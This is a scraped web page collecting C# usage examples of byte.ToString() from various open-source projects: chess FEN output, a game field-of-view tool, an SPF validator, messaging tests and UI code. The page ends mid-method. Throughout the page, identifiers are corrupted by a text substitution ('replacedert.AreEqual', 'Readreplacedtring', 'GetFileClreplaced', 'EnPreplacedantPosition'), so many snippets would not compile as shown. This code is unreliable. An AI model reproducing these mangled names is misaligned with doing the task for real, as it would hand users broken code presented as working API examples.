byte.ToString()

Here are the examples of the csharp api byte.ToString() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

384 Examples 7

19 Source : TableColumn.Types.cs
with MIT License
from 0x1000000

public override string Readreplacedtring(ISqDataRecordReader recordReader)
            => this.ReadNullable(recordReader)?.ToString()
               ?? throw new SqExpressException($"Null value is not expected in non nullable column '{this.ColumnName.Name}'");

19 Source : TableColumn.Types.cs
with MIT License
from 0x1000000

public override string? Readreplacedtring(ISqDataRecordReader recordReader) => this.Read(recordReader)?.ToString();

19 Source : Board.cs
with MIT License
from 3583Bytes

internal static string Fen(bool boardOnly, Board board)
        {
            string output = String.Empty;
            byte blankSquares = 0;

            for (byte x = 0; x < 64; x++)
            {
                byte index = x;

                if (board.Squares[index].Piece != null)
                {
                    if (blankSquares > 0)
                    {
                        output += blankSquares.ToString();
                        blankSquares = 0;
                    }

                    if (board.Squares[index].Piece.PieceColor == ChessPieceColor.Black)
                    {
                        output += Piece.GetPieceTypeShort(board.Squares[index].Piece.PieceType).ToLower();
                    }
                    else
                    {
                        output += Piece.GetPieceTypeShort(board.Squares[index].Piece.PieceType);
                    }
                }
                else
                {
                    blankSquares++;
                }

                if (x % 8 == 7)
                {
                    if (blankSquares > 0)
                    {
                        output += blankSquares.ToString();
                        output += "/";
                        blankSquares = 0;
                    }
                    else
                    {
                        if (x > 0 && x != 63)
                        {
                            output += "/";
                        }
                    }
                }
            }

            if (output.EndsWith("/"))
            {
                output = output.TrimEnd('/');
            }

            if (board.WhoseMove == ChessPieceColor.White)
            {
                output += " w ";
            }
            else
            {
                output += " b ";
            }

			string castle = "-";

            if (board.WhiteCastled == false)
            {
                if (board.Squares[60].Piece != null)
                {
                    if (board.Squares[60].Piece.Moved == false)
                    {
                        if (board.Squares[63].Piece != null)
                        {
                            if (board.Squares[63].Piece.Moved == false)
                            {
                                castle += "K";
                            }
                        }
                        if (board.Squares[56].Piece != null)
                        {
                            if (board.Squares[56].Piece.Moved == false)
                            {
                                castle += "Q";
                            }
                        }
                    }
                }
            }

            if (board.BlackCastled == false)
            {
                if (board.Squares[4].Piece != null)
                {
                    if (board.Squares[4].Piece.Moved == false)
                    {
                        if (board.Squares[7].Piece != null)
                        {
                            if (board.Squares[7].Piece.Moved == false)
                            {
                                castle += "k";
                            }
                        }
                        if (board.Squares[0].Piece != null)
                        {
                            if (board.Squares[0].Piece.Moved == false)
                            {
                                castle += "q";
                            }
                        }
                    }
                }
            }
			
			if (castle != "-")
			{
				castle = castle.TrimStart('-');
			}
			output += castle;

            if (board.EnPreplacedantPosition != 0)
            {
                output += " " + GetColumnFromByte((byte)(board.EnPreplacedantPosition % 8)) + "" + (byte)(8 - (byte)(board.EnPreplacedantPosition / 8)) + " ";
            }
            else
            {
                output += " - ";
            }

            if (!boardOnly)
            {
                output += board.HalfMoveClock + " ";
                output += board.MoveCount;
            }
            return output.Trim();
        }

19 Source : HttpHelper.cs
with GNU General Public License v3.0
from aduskin

static string GetFileClreplaced(Stream stream)
      {
         string fileclreplaced = "";
         try
         {
            using (BinaryReader r = new BinaryReader(stream))
            {
               byte buffer = r.ReadByte();
               fileclreplaced = buffer.ToString();
               buffer = r.ReadByte();
               fileclreplaced += buffer.ToString();
            }
         }
         catch { }
         return fileclreplaced;
      }

19 Source : ConversionTablePlugin.cs
with GNU General Public License v2.0
from afrantzis

void Update8bit(DataView dv)
	{
		long offset = dv.CursorOffset;

		// make sure offset is valid
		if (offset < dv.Buffer.Size && offset >= 0) {
			byte uval = dv.Buffer[offset];
			sbyte val = (sbyte)uval;

			// set signed
			Signed8bitEntry.Text = val.ToString();

			// set unsigned
			if (unsignedAsHex)
				Unsigned8bitEntry.Text = string.Format("0x{0:x}", uval);
			else
				Unsigned8bitEntry.Text = uval.ToString();
		}
		else {
			Clear8bit();
		}
	}

19 Source : MainForm.cs
with GNU General Public License v3.0
from AgentRev

private void TimerVerif_Tick(object sender, EventArgs e)
        {
            if (proc != null && mem != null && isRunning(false))
            {
                if (btnStartGame.Enabled) ToggleButton(false);
                proc.Refresh();

                try
                {
                    if (proc.PagedMemorySize64 > 0x2000000)
                    {
                        byte step = 0;

                        try
                        {
                            mem.FindFoVOffset(ref pFoV, ref step);

                            if (!isOffsetWrong(pFoV)) progStart();
                            else if (proc.PagedMemorySize64 > (dword_ptr)gameMode.GetValue("c_memSearchRange"))
                            {
                                TimerVerif.Stop();
                                TimerCheck.Stop();

                                //bool offsetFound = false;

                                //int ptrSize = IntPtr.Size * 4;
                                /*for (int i = -0x50000; i < 0x50000 && !offsetFound; i += 16)
                                {
                                    if (mem.ReadFloat(true, pFoV + i) == 65f && !isOffsetWrong(pFoV + i))
                                    {
                                        pFoV += i;
                                        offsetFound = true;
                                    }

                                    if (i % 50000 == 0)
                                    {
                                        label1.Text = i.ToString();
                                        Update();
                                    }
                                }*/

                                //Console.Beep(5000, 100);

                                //MessageBox.Show("find " + pFoV.ToString("X8"));
                                if (isRunning(false) && !mem.FindFoVOffset(ref pFoV, ref step))
                                {
                                    string memory = BitConverter.ToString(BitConverter.GetBytes(mem.ReadFloat(pFoV)));

                                    MessageBox.Show(this, "The memory research pattern wasn't able to find the FoV offset in your " + gameMode.GetValue("c_supportMessage") + ".\n" +
                                                          "Please look for an updated version of this FoV Changer tool.\n\n" +
                                                          "If you believe this might be a bug, please send me an email at [email protected], and include a screenshot of this:\n" +
                                                          "\n" + c_toolVer +
                                                          "\nWorking Set: 0x" + proc.WorkingSet64.ToString("X8") +
                                                          "\nPaged Memory: 0x" + proc.PagedMemorySize64.ToString("X8") +
                                                          "\nVirtual Memory: 0x" + proc.VirtualMemorySize64.ToString("X8") +
                                                          "\nStep: " + step.ToString() +
                                                          "\nFoV pointer: 0x" + (pFoV - c_pOffset).ToString("X8") + " = " + memory,
                                                          "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);

                                    pFoV = (dword_ptr)gameMode.GetValue("c_pFoV");
                                    Application.Exit();
                                }
                                else
                                {
                                    //Console.Beep(5000, 100);
                                    SaveSettings();
                                    proc = null;
                                    TimerCheck.Start();
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            ErrMessage(ex);
                            Application.Exit();
                        }
                    }
                }
                catch (InvalidOperationException) { }
            }
        }

19 Source : MainForm.cs
with GNU General Public License v3.0
from AgentRev

private void TimerVerif_Tick(object sender, EventArgs e)
        {
            if (proc != null && mem != null && isRunning(false))
            {
                if (btnStartGame.Enabled) ToggleButton(false);
                proc.Refresh();

                if (proc.PagedMemorySize64 > 0x2000000)
                {
                    byte step = 0;

                    try
                    {
                        mem.FindFoVOffset(ref pFoV, ref step);

                        if (!isOffsetWrong(pFoV)) progStart();
                        else if (proc.PagedMemorySize64 > memSearchRange)
                        {
                            TimerVerif.Stop();
                            TimerCheck.Stop();

                            //bool offsetFound = false;

                            //int ptrSize = IntPtr.Size * 4;
                            /*for (int i = -0x50000; i < 0x50000 && !offsetFound; i += 16)
                            {
                                if (mem.ReadFloat(true, pFoV + i) == 65f && !isOffsetWrong(pFoV + i))
                                {
                                    pFoV += i;
                                    offsetFound = true;
                                }

                                if (i % 50000 == 0)
                                {
                                    label1.Text = i.ToString();
                                    Update();
                                }
                            }*/

                            //Console.Beep(5000, 100);

                            //MessageBox.Show("find " + pFoV.ToString("X8"));
                            if (isRunning(false) && !mem.FindFoVOffset(ref pFoV, ref step))
                            {
                                string memory = BitConverter.ToString(BitConverter.GetBytes(mem.ReadFloat(pFoV)));

                                MessageBox.Show("The memory research pattern wasn't able to find the FoV offset in your " + c_supportMessage + ".\n" +
                                                "Please look for an updated version of this FoV Changer tool.\n\n" +
                                                "If you believe this might be a bug, please send me an email at [email protected], and include a screenshot of this:\n\n" + c_toolVer +
                                                "\n0x" + Convert.ToInt32(proc.WorkingSet64).ToString("X8") +
                                                "\n0x" + Convert.ToInt32(proc.PagedMemorySize64).ToString("X8") +
                                                "\n0x" + Convert.ToInt32(proc.VirtualMemorySize64).ToString("X8") +
                                                "\nStep = " + step.ToString() +
                                                "\n0x" + (pFoV - 0xC).ToString("X8") + " = " + memory,
                                                "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);

                                pFoV = c_pFoV;
                                Application.Exit();
                            }
                            else
                            {
                                //Console.Beep(5000, 100);
                                SaveData();
                                proc = null;
                                TimerCheck.Start();
                            }
                        }
                    }
                    catch (Exception err)
                    {
                        ErrMessage(err);
                        Application.Exit();
                    }
                }
            }
        }

19 Source : MainForm.cs
with GNU General Public License v3.0
from AgentRev

private void TimerVerif_Tick(object sender, EventArgs e)
        {
            if (proc != null && mem != null && isRunning(false))
            {
                if (btnStartGame.Enabled) ToggleButton(false);
                proc.Refresh();

                if (proc.PagedMemorySize64 > 0x2000000)
                {
                    byte step = 0;

                    try
                    {
                        mem.FindFoVOffset(ref pFoV, ref step);

                        if (!isOffsetWrong(pFoV)) progStart();
                        else if (proc.PagedMemorySize64 > (long)gameMode.GetValue("c_memSearchRange"))
                        {
                            TimerVerif.Stop();
                            TimerCheck.Stop();

                            //bool offsetFound = false;

                            //int ptrSize = IntPtr.Size * 4;
                            /*for (int i = -0x50000; i < 0x50000 && !offsetFound; i += 16)
                            {
                                if (mem.ReadFloat(true, pFoV + i) == 65f && !isOffsetWrong(pFoV + i))
                                {
                                    pFoV += i;
                                    offsetFound = true;
                                }

                                if (i % 50000 == 0)
                                {
                                    label1.Text = i.ToString();
                                    Update();
                                }
                            }*/

                            //Console.Beep(5000, 100);

                            //MessageBox.Show("find " + pFoV.ToString("X8"));
                            if (isRunning(false) && !mem.FindFoVOffset(ref pFoV, ref step))
                            {
                                string memory = BitConverter.ToString(BitConverter.GetBytes(mem.ReadFloat(pFoV)));

                                MessageBox.Show(this, "The memory research pattern wasn't able to find the FoV offset in your " + gameMode.GetValue("c_supportMessage") + ".\n" +
                                                      "Please look for an updated version of this FoV Changer tool.\n\n" +
                                                      "If you believe this might be a bug, please send me an email at [email protected], and include a screenshot of this:\n\n" + c_toolVer +
                                                      "\n0x" + Convert.ToInt32(proc.WorkingSet64).ToString("X8") +
                                                      "\n0x" + Convert.ToInt32(proc.PagedMemorySize64).ToString("X8") +
                                                      "\n0x" + Convert.ToInt32(proc.VirtualMemorySize64).ToString("X8") +
                                                      "\nStep = " + step.ToString() +
                                                      "\n0x" + (pFoV - 0xC).ToString("X8") + " = " + memory,
                                                      "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);

                                pFoV = (int)gameMode.GetValue("c_pFoV");
                                Application.Exit();
                            }
                            else
                            {
                                //Console.Beep(5000, 100);
                                SaveSettings();
                                proc = null;
                                TimerCheck.Start();
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        ErrMessage(ex);
                        Application.Exit();
                    }
                }
            }
        }

19 Source : EnumType.cs
with Apache License 2.0
from ajuna-network

public void Create(byte[] byteArray)
        {
            Bytes = byteArray;
            Value = (T) System.Enum.Parse(typeof(T), byteArray[0].ToString(), true);

            //if (byteArray.Length < Size())
            //{
            //    var newByteArray = new byte[Size()];
            //    byteArray.CopyTo(newByteArray, 0);
            //    byteArray = newByteArray;
            //}

            //Bytes = byteArray;
            //Value = (T)System.Enum.Parse(typeof(T), BitConverter.ToUInt32(byteArray, 0).ToString(), true);
        }

19 Source : ExtEnumType.cs
with Apache License 2.0
from ajuna-network

public void Decode(byte[] byteArray, ref int p)
        {
            var start = p;
            var enumByte = byteArray[p];

            Value = (T0)System.Enum.Parse(typeof(T0), enumByte.ToString(), true);
            p += 1;

            Value2 = DecodeOneOf(enumByte, byteArray, ref p);

            _size = p - start;
        }

19 Source : Extensions.cs
with GNU General Public License v3.0
from akmadian

public static string ToString(this byte[] thisone) {
            StringBuilder sb = new StringBuilder();
            foreach (byte thing in thisone) {
                sb.Append(thing.ToString() + " ");
            }
            return sb.ToString();
        }

19 Source : HuePlus.cs
with GNU General Public License v3.0
from akmadian

public Version GetFirmwareVersion()
        {
            byte[] reply = _COMController.Write(new byte[] { 0x8c, 0 }, 5);
            int Major = reply[0] - 0xc0;
            int Minor = Convert.ToInt32(reply[2].ToString() + reply[3].ToString());
            return new Version(Major, Minor);
        }

19 Source : ScriptManager.cs
with GNU General Public License v3.0
from AlanMorel

public int GetFreeSlots(byte inventoryTabId)
    {
        if (!Enum.TryParse(inventoryTabId.ToString(), out InventoryTab inventoryTab))
        {
            return -1;
        }
        return Player.Inventory.GetFreeSlots(inventoryTab);
    }

19 Source : SimpleAES.cs
with GNU General Public License v3.0
from Albo1125

public string ByteArrToString(byte[] byteArr)
        {
            byte val;
            string tempStr = "";
            for (int i = 0; i <= byteArr.GetUpperBound(0); i++)
            {
                val = byteArr[i];
                if (val < (byte)10)
                    tempStr += "00" + val.ToString();
                else if (val < (byte)100)
                    tempStr += "0" + val.ToString();
                else
                    tempStr += val.ToString();
            }
            return tempStr;
        }

19 Source : NetworkController.cs
with MIT License
from alerdenisov

public void Connect()
        {
            byte error;
            connectionId = NetworkTransport.Connect(hostId, serverIp, outboundPort, 0, out error);
            status = error.ToString();
        }

19 Source : VersionInfo.cs
with MIT License
from alexismorin

public static string StaticToString()
		{
			return string.Format( "{0}.{1}.{2}", Major, Minor, Release ) + ( Revision > 0 ? "r" + Revision.ToString() : "" );
		}

19 Source : ValidatorBase.cs
with Apache License 2.0
from alexreinert

private async Task<string> ExpandMacroAsync(Match pattern, IPAddress ip, DomainName domain, string sender, CancellationToken token)
		{
			switch (pattern.Value)
			{
				case "%%":
					return "%";
				case "%_":
					return "_";
				case "%-":
					return "-";

				default:
					string letter;
					switch (pattern.Groups["letter"].Value)
					{
						case "s":
							letter = sender;
							break;
						case "l":
							// no boundary check needed, sender is validated on start of CheckHost
							letter = sender.Split('@')[0];
							break;
						case "o":
							// no boundary check needed, sender is validated on start of CheckHost
							letter = sender.Split('@')[1];
							break;
						case "d":
							letter = domain.ToString();
							break;
						case "i":
							letter = String.Join(".", ip.GetAddressBytes().Select(b => b.ToString()));
							break;
						case "p":
							letter = "unknown";

							DnsResolveResult<PtrRecord> dnsResult = await ResolveDnsAsync<PtrRecord>(ip.GetReverseLookupDomain(), RecordType.Ptr, token);
							if ((dnsResult == null) || ((dnsResult.ReturnCode != ReturnCode.NoError) && (dnsResult.ReturnCode != ReturnCode.NxDomain)))
							{
								break;
							}

							int ptrCheckedCount = 0;
							foreach (PtrRecord ptrRecord in dnsResult.Records)
							{
								if (++ptrCheckedCount == 10)
									break;

								bool? isPtrMatch = await IsIpMatchAsync(ptrRecord.PointerDomainName, ip, 0, 0, token);
								if (isPtrMatch.HasValue && isPtrMatch.Value)
								{
									if (letter == "unknown" || ptrRecord.PointerDomainName.IsSubDomainOf(domain))
									{
										// use value, if first record or subdomain
										// but evaluate the other records
										letter = ptrRecord.PointerDomainName.ToString();
									}
									else if (ptrRecord.PointerDomainName.Equals(domain))
									{
										// ptr equal domain --> best match, use it
										letter = ptrRecord.PointerDomainName.ToString();
										break;
									}
								}
							}
							break;
						case "v":
							letter = (ip.AddressFamily == AddressFamily.InterNetworkV6) ? "ip6" : "in-addr";
							break;
						case "h":
							letter = HeloDomain?.ToString() ?? "unknown";
							break;
						case "c":
							IPAddress address =
								LocalIP
								?? NetworkInterface.GetAllNetworkInterfaces()
									.Where(n => (n.OperationalStatus == OperationalStatus.Up) && (n.NetworkInterfaceType != NetworkInterfaceType.Loopback))
									.SelectMany(n => n.GetIPProperties().UnicastAddresses)
									.Select(u => u.Address)
									.FirstOrDefault(a => a.AddressFamily == ip.AddressFamily)
								?? ((ip.AddressFamily == AddressFamily.InterNetwork) ? IPAddress.Loopback : IPAddress.IPv6Loopback);
							letter = address.ToString();
							break;
						case "r":
							letter = LocalDomain?.ToString() ?? System.Net.Dns.GetHostName();
							break;
						case "t":
							letter = ((int) (new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc) - DateTime.Now).TotalSeconds).ToString();
							break;
						default:
							return null;
					}

					// only letter
					if (pattern.Value.Length == 4)
						return letter;

					char[] delimiters = pattern.Groups["delimiter"].Value.ToCharArray();
					if (delimiters.Length == 0)
						delimiters = new[] { '.' };

					string[] parts = letter.Split(delimiters);

					if (pattern.Groups["reverse"].Value == "r")
						parts = parts.Reverse().ToArray();

					int count = Int32.MaxValue;
					if (!String.IsNullOrEmpty(pattern.Groups["count"].Value))
					{
						count = Int32.Parse(pattern.Groups["count"].Value);
					}

					if (count < 1)
						return null;

					count = Math.Min(count, parts.Length);

					return String.Join(".", parts, (parts.Length - count), count);
			}
		}

19 Source : IPAddressExtensions.cs
with Apache License 2.0
from alexreinert

public static DomainName GetReverseLookupDomain(this IPAddress ipAddress)
		{
			if (ipAddress == null)
				throw new ArgumentNullException(nameof(ipAddress));

			byte[] addressBytes = ipAddress.GetAddressBytes();

			if (ipAddress.AddressFamily == AddressFamily.InterNetwork)
			{
				string[] labels = new string[addressBytes.Length + 2];

				int labelPos = 0;

				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					labels[labelPos++] = addressBytes[i].ToString();
				}

				labels[labelPos++] = "in-addr";
				labels[labelPos] = "arpa";

				return new DomainName(labels);
			}
			else
			{
				string[] labels = new string[addressBytes.Length * 2 + 2];

				int labelPos = 0;

				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					string hex = addressBytes[i].ToString("x2");

					labels[labelPos++] = hex[1].ToString();
					labels[labelPos++] = hex[0].ToString();
				}

				labels[labelPos++] = "ip6";
				labels[labelPos] = "arpa";

				return new DomainName(labels);
			}
		}

19 Source : MidiState.cs
with MIT License
from allenwp

public override string ToString()
            {
                return Type.ToString() + ": " + Id.ToString();
            }

19 Source : GeneralHelper.cs
with MIT License
from AnkiTools

internal static string CheckSum(string sfld)
        {
            using (SHA1Managed sha1 = new SHA1Managed())
            {
                var l = sfld.Length >= 9 ? 8 : sfld.Length;
                var hash = sha1.ComputeHash(Encoding.UTF8.GetBytes(sfld));
                var sb = new StringBuilder(hash.Length);

                foreach (byte b in hash)
                {
                    sb.Append(b.ToString());
                }

                return sb.ToString().Substring(0, 10);
            }
        }

19 Source : FontSerializationHelper.cs
with BSD 3-Clause "New" or "Revised" License
from anoyetta

public static string ToString(
            Font font)
        {
            if (font == null)
            {
                return string.Empty;
            }

            return string.Join(
                FontSerializationDelimiter.ToString(),
                new string[]
                {
                    font.FontFamily.Name,
                    font.Size.ToString(),
                    font.Style.ToString(),
                    font.Unit.ToString(),
                    font.GdiCharSet.ToString(),
                    font.GdiVerticalFont.ToString()
                });
        }

19 Source : ColorDialogContent.xaml.cs
with BSD 3-Clause "New" or "Revised" License
from anoyetta

private async void ColorDialogContent_Loaded(object sender, RoutedEventArgs e)
        {
            var item = await Task.Run(() => this.PredefinedColorsListBox.Items.Cast<PredefinedColor>().AsParallel()
                .FirstOrDefault(x => x.Color == this.Color));

            if (item != null)
            {
                this.PredefinedColorsListBox.SelectedItem = item;
                (this.PredefinedColorsListBox.ItemContainerGenerator.ContainerFromItem(item) as ListBoxItem)?.Focus();
            }

            if (this.PredefinedColorsListBox.SelectedItem == null &&
                this.Color != null)
            {
                this.RTextBox.Text = this.Color.R.ToString();
                this.GTextBox.Text = this.Color.G.ToString();
                this.BTextBox.Text = this.Color.B.ToString();
                this.ATextBox.Text = !this.IgnoreAlpha ?
                    this.Color.A.ToString() :
                    "255";
            }
        }

19 Source : Helper.cs
with GNU General Public License v3.0
from anydream

public static string ByteArrayToCode(byte[] arr)
		{
			StringBuilder sb = new StringBuilder();
			sb.Append('{');
			for (int i = 0; i < arr.Length; ++i)
			{
				if (i != 0)
					sb.Append(',');
				sb.Append(arr[i].ToString());
			}
			sb.Append('}');
			return sb.ToString();
		}

19 Source : NmsStreamMessage.cs
with Apache License 2.0
from apache

public string ReadString()
        {
            CheckWriteOnlyBody();
            CheckBytesInFlight();

            string result;
            object value = facade.Peek();
            if (value == null)
                result = null;
            else if (value is string stringValue)
                result = stringValue;
            else if (value is float floatValue)
                result = floatValue.ToString(CultureInfo.InvariantCulture);
            else if (value is double doubleValue)
                result = doubleValue.ToString(CultureInfo.InvariantCulture);
            else if (value is long longValue)
                result = longValue.ToString();
            else if (value is int intValue)
                result = intValue.ToString();
            else if (value is short shortValue)
                result = shortValue.ToString();
            else if (value is byte byteValue)
                result = byteValue.ToString();
            else if (value is bool boolValue)
                result = boolValue.ToString();
            else if (value is char charValue)
                result = charValue.ToString();
            else
                throw new MessageFormatException("stream value: " + value.GetType().Name + " cannot be converted to int.");

            facade.Pop();
            return result;
        }

19 Source : NmsStreamMessageTest.cs
with Apache License 2.0
from apache

[Test, Description("Set a byte, then retrieve it as all of the legal type combinations to verify it is parsed correctly")]
        public void TestWriteByteReadLegal()
        {
            NmsStreamMessage streamMessage = factory.CreateStreamMessage();
            byte value = 6;

            streamMessage.WriteByte(value);
            streamMessage.Reset();

            replacedertGetStreamEntryEquals<byte>(streamMessage, true, value);
            replacedertGetStreamEntryEquals<short>(streamMessage, true, value);
            replacedertGetStreamEntryEquals<int>(streamMessage, true, value);
            replacedertGetStreamEntryEquals<long>(streamMessage, true, value);
            replacedertGetStreamEntryEquals<string>(streamMessage, true, value.ToString());
        }

19 Source : MessageTest.cs
with Apache License 2.0
from apache

[Test]
        public void SendReceiveMessageProperties(
            [Values(MsgDeliveryMode.Persistent, MsgDeliveryMode.NonPersistent)]
            MsgDeliveryMode deliveryMode)
        {
            using (IConnection connection = CreateConnection(GetTestClientId()))
            {
                connection.Start();
                using (ISession session = connection.CreateSession(AcknowledgementMode.AutoAcknowledge))
                {
                    IDestination destination = CreateDestination(session, DestinationType.Queue);
                    using (IMessageConsumer consumer = session.CreateConsumer(destination))
                    using (IMessageProducer producer = session.CreateProducer(destination))
                    {
                        producer.DeliveryMode = deliveryMode;
                        IMessage request = session.CreateMessage();
                        request.Properties["a"] = a;
                        request.Properties["b"] = b;
                        request.Properties["c"] = c;
                        request.Properties["d"] = d;
                        request.Properties["e"] = e;
                        request.Properties["f"] = f;
                        request.Properties["g"] = g;
                        request.Properties["h"] = h;
                        request.Properties["i"] = i;
                        request.Properties["j"] = j;
                        request.Properties["k"] = k;
                        request.Properties["l"] = l;
                        request.Properties["m"] = m;
                        request.Properties["n"] = n;

                        try
                        {
                            request.Properties["o"] = o;
                            replacedert.Fail("Should not be able to add a Byte[] to the Properties of a Message.");
                        }
                        catch
                        {
                            // Expected
                        }

                        try
                        {
                            request.Properties.SetBytes("o", o);
                            replacedert.Fail("Should not be able to add a Byte[] to the Properties of a Message.");
                        }
                        catch
                        {
                            // Expected
                        }

                        producer.Send(request);

                        IMessage message = consumer.Receive(receiveTimeout);
                        replacedert.IsNotNull(message, "No message returned!");
                        replacedert.AreEqual(request.Properties.Count, message.Properties.Count,
                            "Invalid number of properties.");
                        replacedert.AreEqual(deliveryMode, message.NMSDeliveryMode, "NMSDeliveryMode does not match");
                        replacedert.AreEqual(ToHex(f), ToHex(message.Properties.GetLong("f")), "map entry: f as hex");

                        // use generic API to access entries
                        // Perform a string only comparison here since some NMS providers are type limited and
                        // may return only a string instance from the generic [] accessor.  Each provider should
                        // further test this functionality to determine that the correct type is returned if
                        // it is capable of doing so.
                        replacedert.AreEqual(a.ToString(), message.Properties["a"].ToString(), "generic map entry: a");
                        replacedert.AreEqual(b.ToString(), message.Properties["b"].ToString(), "generic map entry: b");
                        replacedert.AreEqual(c.ToString(), message.Properties["c"].ToString(), "generic map entry: c");
                        replacedert.AreEqual(d.ToString(), message.Properties["d"].ToString(), "generic map entry: d");
                        replacedert.AreEqual(e.ToString(), message.Properties["e"].ToString(), "generic map entry: e");
                        replacedert.AreEqual(f.ToString(), message.Properties["f"].ToString(), "generic map entry: f");
                        replacedert.AreEqual(g.ToString(), message.Properties["g"].ToString(), "generic map entry: g");
                        replacedert.AreEqual(h.ToString(), message.Properties["h"].ToString(), "generic map entry: h");
                        replacedert.AreEqual(i.ToString(), message.Properties["i"].ToString(), "generic map entry: i");
                        replacedert.AreEqual(j.ToString(), message.Properties["j"].ToString(), "generic map entry: j");
                        replacedert.AreEqual(k.ToString(), message.Properties["k"].ToString(), "generic map entry: k");
                        replacedert.AreEqual(l.ToString(), message.Properties["l"].ToString(), "generic map entry: l");
                        replacedert.AreEqual(m.ToString(), message.Properties["m"].ToString(), "generic map entry: m");
                        replacedert.AreEqual(n.ToString(), message.Properties["n"].ToString(), "generic map entry: n");

                        // use type safe APIs
                        replacedert.AreEqual(a, message.Properties.GetBool("a"), "map entry: a");
                        replacedert.AreEqual(b, message.Properties.GetByte("b"), "map entry: b");
                        replacedert.AreEqual(c, message.Properties.GetChar("c"), "map entry: c");
                        replacedert.AreEqual(d, message.Properties.GetShort("d"), "map entry: d");
                        replacedert.AreEqual(e, message.Properties.GetInt("e"), "map entry: e");
                        replacedert.AreEqual(f, message.Properties.GetLong("f"), "map entry: f");
                        replacedert.AreEqual(g, message.Properties.GetString("g"), "map entry: g");
                        replacedert.AreEqual(h, message.Properties.GetBool("h"), "map entry: h");
                        replacedert.AreEqual(i, message.Properties.GetByte("i"), "map entry: i");
                        replacedert.AreEqual(j, message.Properties.GetShort("j"), "map entry: j");
                        replacedert.AreEqual(k, message.Properties.GetInt("k"), "map entry: k");
                        replacedert.AreEqual(l, message.Properties.GetLong("l"), "map entry: l");
                        replacedert.AreEqual(m, message.Properties.GetFloat("m"), "map entry: m");
                        replacedert.AreEqual(n, message.Properties.GetDouble("n"), "map entry: n");
                    }
                }
            }
        }

19 Source : Issues.cs
with Apache License 2.0
from Appdynamics

[TestMethod, Ignore]
        public void Issue15252()
        {
            using (var p = new ExcelPackage())
            {
                var path1 = @"c:\temp\saveerror1.xlsx";
                var path2 = @"c:\temp\saveerror2.xlsx";
                var workSheet = p.Workbook.Worksheets.Add("saveerror");
                workSheet.Cells["A1"].Value = "test";

                // double save OK?
                p.SaveAs(new FileInfo(path1));
                p.SaveAs(new FileInfo(path2));

                // files are identical?
#if (Core)
                var md5 = System.Security.Cryptography.MD5.Create();
#else
                var md5 = new System.Security.Cryptography.MD5CryptoServiceProvider();
#endif
                using (var fs1 = new FileStream(path1, FileMode.Open))
                using (var fs2 = new FileStream(path2, FileMode.Open))
                {
                    var hash1 = String.Join("", md5.ComputeHash(fs1).Select((x) => { return x.ToString(); }));
                    var hash2 = String.Join("", md5.ComputeHash(fs2).Select((x) => { return x.ToString(); }));
                    replacedert.AreEqual(hash1, hash2);
                }
            }
        }

19 Source : QRParser.cs
with MIT License
from architdate

public static string getNature(byte ID)
        {
            string[] names = PKHeX.Core.Util.GetStringList("text_Natures_en");
            try
            {
                return names[ID];
            }
            catch (Exception e)
            {
                return ID.ToString();
            }
        }

19 Source : JokeCalculatorClientForm.cs
with MIT License
from azist

private void m_btnStream_Click(object sender, EventArgs e)
    {
      var buf = new byte[317];
      using (var ms = new MemoryStream(buf))
      {
        ms.WriteByte(14);
        ms.SetLength(40);
        ms.SetLength(310);
      }

      MessageBox.Show(buf[0].ToString(), "");
    }

19 Source : TextExt.cs
with MIT License
from baba-s

public static void SetText( this Text self, byte            value   ) { self.SetText( value .ToString() );  }

19 Source : windowsAPI.cs
with MIT License
from baibao132

public static void InputStr(IntPtr myIntPtr, string Input)
        {
            byte[] ch = (ASCIIEncoding.ASCII.GetBytes(Input));
            for (int i = 0; i < ch.Length; i++)
            {
                SendMessageA(myIntPtr, (uint)0X102, int.Parse(ch[i].ToString()), "0");
            }
        }

19 Source : Form1.cs
with GNU General Public License v3.0
from BeanBagKing

private void FindEventsButton_Click(object sender, EventArgs e)
        {
            FindEventsButton.Enabled = false;

            if (StartInput.Text == "" || EndInput.Text == "")                   // Check to make sure times are populated
            {
                StatusOutput.Text = "Missing Start or End Time!";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else if (!DateTime.TryParse(StartInput.Text, out DateTime temp))  // And that the start time is valid
            {
                StatusOutput.Text = "Invalid Start Time";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else if (!DateTime.TryParse(EndInput.Text, out DateTime temp2))   // And that the end time is valid
            {
                StatusOutput.Text = "Invalid End Time";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else                                                              // If everything is valid, run!
            {


                // Variables we will need
                DateTime StartTime = DateTime.ParseExact(StartInput.Text, "MM/dd/yyyy HH:mm:ss", null); // Needed for filter query
                DateTime EndTime = DateTime.ParseExact(EndInput.Text, "MM/dd/yyyy HH:mm:ss", null);     // Needed for filter query
                string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);      // Needed for file name
                string RunTime = DateTime.Now.ToString("yyyyMMdd_HHmmss");                              // Needed for file name
                EventLogSession Session = new EventLogSession();
                var Logs = Session.GetLogNames().ToList();
                var pathType = PathType.LogName;
                if (currentSystem.Checked == true)
                {
                    Logs = Session.GetLogNames().ToList();
                    pathType = PathType.LogName;
                } else if (System.IO.Directory.Exists(currentPath.Text))
                {
                    Logs = System.IO.Directory.GetFiles(currentPath.Text, "*.evtx").ToList();
                    pathType = PathType.FilePath;
                } else
                {
                    MessageBox.Show("Something Wrong:\nYou likely selected an invalid path");
                    FindEventsButton.Enabled = true;
                    return;
                }
                
                var query = string.Format(@"*[System[TimeCreated[@SystemTime >= '{0}']]] and *[System[TimeCreated[@SystemTime <= '{1}']]]", StartTime.ToUniversalTime().ToString("o"), EndTime.ToUniversalTime().ToString("o"));
                List<Record> records = new List<Record> { };                                            // Start a list for all those sweet sweet logs we're going to get 

                foreach (var Log in Logs)
                {
                    try
                    {
                        EventLogQuery eventlogQuery = new EventLogQuery(Log, pathType, query);
                        EventLogReader eventlogReader = new EventLogReader(eventlogQuery);
                        for (EventRecord eventRecord = eventlogReader.ReadEvent(); null != eventRecord; eventRecord = eventlogReader.ReadEvent())
                        {
